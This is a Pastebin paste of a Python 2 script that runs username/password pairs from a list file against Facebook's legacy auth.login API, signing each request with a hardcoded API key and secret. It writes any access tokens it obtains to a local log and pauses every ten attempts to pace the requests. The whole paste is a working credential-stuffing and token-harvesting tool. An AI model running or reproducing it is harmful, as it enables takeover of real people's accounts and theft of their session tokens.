Advertisement
Guest User

Untitled

a guest
Dec 4th, 2018
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.57 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. ###################################################################
  4. # Import Module
  5. import json , sys , hashlib , os , time , marshal
  6. import time
  7. import os
  8. import sys
  9. ###################################################################
  10. # COLOR
  11. if sys.platform in ["linux","linux2"]:
  12. W = "\033[0m"
  13. G = '\033[32;1m'
  14. R = '\033[31;1m'
  15. else:
  16. W = ''
  17. G = ''
  18. R = ''
  19. ###################################################################
  20. # Exception
  21. try:
  22. import requests
  23. except ImportError:
  24. print ' '
  25. print "[!] Can't import module 'requests'\n"
  26. sys.exit()
  27. ####################################################################
  28. # Set Default encoding
  29. reload (sys)
  30. sys . setdefaultencoding ( 'utf8' )
  31. ####################################################################
  32. # I don't know
  33. jml = []
  34. jmlgetdata = []
  35. n = []
  36.  
  37. ####################################################################
  38. # GENERATE ACCESS TOKEN
  39. def get(data,username):
  40. print (W + "username : {} ".format(G + username))
  41.  
  42. try:
  43. os.mkdir('cookie')
  44. except OSError:
  45. pass
  46.  
  47. b = open('cookie/token.log','a')
  48. try:
  49. r = requests.get('https://api.facebook.com/restserver.php',params=data)
  50. a = json.loads(r.text)
  51. b.write(a['access_token'])
  52. b.write("====>"+username+"\n")
  53. b.close()
  54. print G + '[*] found pass and successfully generate access token'
  55. time.sleep(5)
  56. #exit()
  57. except KeyError:
  58. print R + '[!] Wrong Username and Password'
  59. #print '[!] Check your connection / email or password'
  60. #time.sleep(5)
  61. #exit()
  62. except requests.exceptions.ConnectionError:
  63. print R + '[!]Connection Error'
  64. time.sleep(5)
  65. exit()
  66. def id(username,password):
  67. print W + '================================';id = username;pwd = password;API_SECRET = '62f8ce9f74b12f84c123cc23437a4a32';data = {"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"};sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.0'+API_SECRET
  68. x = hashlib.new('md5')
  69. x.update(sig)
  70.  
  71. data.update({'sig':x.hexdigest()})
  72. get(data,username)
  73. ###################################################################
  74. # Logo
  75. print '''\n
  76. ______ __ __ ______
  77. /\ ___\ /\ \_\ \ /\__ _\
  78. \ \ \__ \ \ \ __ \ \/_/\ \/
  79. \ \_____\ \ \_\ \_\ \ \_\
  80. \/_____/ \/_/\/_/ \/_/
  81. ''' + G + '''J3rry G(-)05t
  82. '''
  83. ###################################################################
  84. # Username,Pass define
  85. try:
  86. with open('ulist1.txt', 'r') as f:
  87. username = f.readlines()
  88. with open('ulist1.txt', 'r') as f:
  89. password = f.readlines()
  90.  
  91. ###################################################################
  92. # Start Looping
  93. for n,line in enumerate(open('ulist1.txt', 'r')):
  94. if n % 10 == 0:
  95. #print username[n]
  96. time.sleep(3)
  97. id(username[n],password[n])
  98. else:
  99. #print username[n]
  100. id(username[n],password[n])
  101. except KeyboardInterrupt:
  102. print '\r[!] Good Bye J3rry'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement